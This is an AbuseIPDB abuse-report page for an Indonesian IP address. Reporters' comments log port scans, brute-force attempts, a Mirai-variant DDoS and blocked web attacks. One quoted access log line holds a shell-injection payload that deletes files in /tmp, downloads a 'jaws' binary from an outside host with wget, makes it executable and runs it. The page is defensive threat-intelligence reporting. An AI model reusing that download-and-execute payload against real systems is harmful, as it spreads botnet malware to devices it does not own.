JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 140.213.187.149

140.213.187.149 was found in our database!

This IP was reported 17 times. Confidence of Abuse is 36%: ?

36%

ISP	PT XLSMART Telecom Sejahtera Tbk
Usage Type	Fixed Line ISP
ASN	AS139994
Domain Name	xl.co.id
Country	🇮🇩 Indonesia
City	Surabaya, East Java

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 140.213.187.149

Whois 140.213.187.149

IP Abuse Reports for 140.213.187.149:

This IP address has been reported a total of 17 times from 15 distinct sources. 140.213.187.149 was first reported on February 3rd 2021, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2026-06-04 13:26:07 (1 week ago)	Unauthorized connection attempt	Port Scan Hacking Exploited Host
🇳🇱 ipoac.nl	2026-06-04 02:26:50 (1 week ago)	ipoac.nl:80 140.213.187.149 - - [04/Jun/2026:04:26:49 +0200] - "GET /shell?cd+/tmp;rm+-rf+;wget+ 14 ... show more ipoac.nl:80 140.213.187.149 - - [04/Jun/2026:04:26:49 +0200] - "GET /shell?cd+/tmp;rm+-rf+;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws;" 400 1522 "-" "-" show less	Bad Web Bot
🇷🇸 Scan	2026-06-04 01:48:06 (1 week ago)	MultiHost/MultiPort Probe, Scan, Hack -	Port Scan Hacking
🇫🇷 sbocquet	2026-06-04 01:34:16 (1 week ago)	Port 443 scanned from 140.213.187.149:31001.	Port Scan
🇩🇪 SMARTNET	2026-05-27 06:03:53 (2 weeks ago)	Aisuru(Mirai variant) DDoS \| Incident ID: 1175168a-7e6d-467e-bb9a-dd1cdfa3fb9e	DDoS Attack
🇳🇱 knock	2026-05-20 11:53:34 (3 weeks ago)	Knock-Knock honeypot brute-force: SMB (1 total hits)	Brute-Force
🇭🇺 Lacika555	2026-05-17 08:38:41 (4 weeks ago)	RdpGuard detected brute-force attempt on RDP	Brute-Force
🇮🇩 hermawan	2026-01-11 22:12:02 (5 months ago)	[Mon Jan 12 05:12:01.804980 2026] [security2:error] [pid 685159:tid 139943374988992] [client 140.213 ... show more [Mon Jan 12 05:12:01.804980 2026] [security2:error] [pid 685159:tid 139943374988992] [client 140.213.187.149:3211] ModSecurity: Access denied with code 403 (phase 1). Match of "pm matomo.staklim-malang.info " against "SERVER_NAME" required. [file "/etc/modsecurity/coreruleset-4.22.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "189"] [id "440235"] [msg "BAD REQUEST Bro"] [data " Matched Data ARGS charset: - Matched Data TX.1: found within Content-Type multipart form Matched Data: %3a found within SERVER_NAME: staklim-malang.info request_line = GET /index.php/profil/arsip-artikel?catid=619&id=2443%3Aprakiraan-cuaca-daerah-malang-dan-batu-seminggu-ke-depan-berlaku-tanggal-21-27-februari-2017&start=140 HTTP/2.0 Request URI RAW = /index.php/profil/arsip-artikel?catid=619&id=2443%3Aprakiraan-cuaca-daerah-malang-dan-batu-seminggu-ke-depan-berlaku-tanggal-21-27-februari-2017&start=1..."] [hostname "staklim-malang.info"] [uri "/index.php/profil/arsip-artikel"] [unique_id "aWQgMTU6i298 ... show less	Hacking Web App Attack
🇯🇵 Kinsei Engineering Inc.	2025-12-26 01:51:06 (5 months ago)	Postfix,Possible SPAM, Postscreen, Received incorrect commands at a high frequency.	Email Spam Brute-Force
🇮🇩 hermawan	2025-05-03 03:03:03 (1 year ago)	[Sat May 03 09:27:18.187769 2025] [security2:error] [pid 337439:tid 140322446689984] [client 140.213 ... show more [Sat May 03 09:27:18.187769 2025] [security2:error] [pid 337439:tid 140322446689984] [client 140.213.187.149:4393] ModSecurity: Access denied with code 403 (phase 2). Match of "rx [0-9]\\\\s\\\\'\\\\s[0-9]" against "MATCHED_VAR" required. [file "/etc/modsecurity/coreruleset-4.13.0/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "1747"] [id "932240"] [msg "Remote Command Execution: Unix Command Injection evasion attempt detected"] [data " Matched Data ARGS charset: - Matched Data TX.1: found within Content-Type multipart form Matched Data: s1746238996$o1 found within MATCHED_VAR: GS2.1.s1746238996$o1$g0$t1746238996$j0$l0$h0 request_line = GET /index.php/profil/meteorologi/list-of-all-tags/gempa-terkini HTTP/2.0 Request URI RAW = /index.php/profil/meteorologi/list-of-all-tags/gempa-terkini Request Basename = gempa-terkini"] [severity "CRITICAL"] [ver "OWASP_CRS/4.13.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-leve ... show less	Hacking Web App Attack
Anonymous	2025-01-01 14:00:08 (1 year ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
Anonymous	2024-08-07 08:40:09 (1 year ago)	Ports: 25,587,465; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
🇪🇸 el-brujo	2024-08-07 08:32:06 (1 year ago)	Cloudflare WAF: Request Path: /admin Request Query: Host: foro.elhacker.net userAgent: Mozilla/5.0 ... show more Cloudflare WAF: Request Path: /admin Request Query: Host: foro.elhacker.net userAgent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Action: block Source: ratelimit ASN Description: XLNET-FTTH-ID PT XL Axiata Tbk Country: ID Method: GET Timestamp: 2024-08-07T08:32:06Z ruleId: 11a71ad4659e48b29b5173e3bcc61b4a. Report generated by Cloudflare-WAF-to-AbuseIPDB (https://github.com/MHG-LAB/Cloudflare-WAF-to-AbuseIPDB). show less	Hacking SQL Injection Web App Attack
🇺🇸 Psycho Solutions LLC	2024-08-07 07:27:26 (1 year ago)	Detected Wordpress Scanning. - Request Method: GET - Target: {PC} wp-login.php - User Agent: N ... show more Detected Wordpress Scanning. - Request Method: GET - Target: {PC} wp-login.php - User Agent: N/A - Timestamp: 8/7/2024 2:27 am (UTC-6) show less	Web Spam Hacking Bad Web Bot Web App Attack
🇨🇦 Justmee	2023-02-24 12:54:27 (3 years ago)	Feb 24 05:46:27 RT-AX58U-50D8-8E617D2-C kernel: DROP IN=eth4 OUT= MAC=d4:be:d9:99:6f:95:00:01:5c:98: ... show more Feb 24 05:46:27 RT-AX58U-50D8-8E617D2-C kernel: DROP IN=eth4 OUT= MAC=d4:be:d9:99:6f:95:00:01:5c:98:34:45:08:00 SRC=140.213.187.149 DST=68.151.214.214 LEN=136 TOS=0x00 PREC=0x00 TTL=120 ID=9404 PROTO=UDP SPT=9315 DPT=8892 LEN=116 MARK=0x8000000 Feb 24 05:50:27 RT-AX58U-50D8-8E617D2-C kernel: DROP IN=eth4 OUT= MAC=d4:be:d9:99:6f:95:00:01:5c:98:34:45:08:00 SRC=140.213.187.149 DST=68.151.214.214 LEN=136 TOS=0x00 PREC=0x00 TTL=120 ID=9405 PROTO=UDP SPT=9315 DPT=8892 LEN=116 MARK=0x8000000 Feb 24 05:54:27 RT-AX58U-50D8-8E617D2-C kernel: DROP IN=eth4 OUT= MAC=d4:be:d9:99:6f:95:00:01:5c:98:34:45:08:00 SRC=140.213.187.149 DST=68.151.214.214 LEN=136 TOS=0x00 PREC=0x00 TTL=120 ID=9406 PROTO=UDP SPT=9315 DPT=8892 LEN=116 MARK=0x8000000 ... show less	Hacking Brute-Force

Showing 1 to 15 of 17 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 172.253.83.92

🇺🇸 143.42.1.84

🇨🇦 138.197.145.244

🇩🇪 64.188.83.244

🇰🇷 43.164.129.84

🇺🇸 216.25.89.110

🇧🇷 191.205.192.220

🇷🇺 178.69.56.70

🇮🇹 172.253.12.144

🇺🇸 150.107.38.195

🇫🇷 104.28.162.138

🇫🇷 91.231.89.83

🇹🇷 91.93.51.110

🇧🇬 78.128.114.106

🇫🇷 77.204.107.203

🇫🇷 51.77.236.241

🇺🇸 50.62.181.92

🇳🇱 45.148.10.147

🇩🇪 43.228.157.121

🇺🇸 35.237.94.18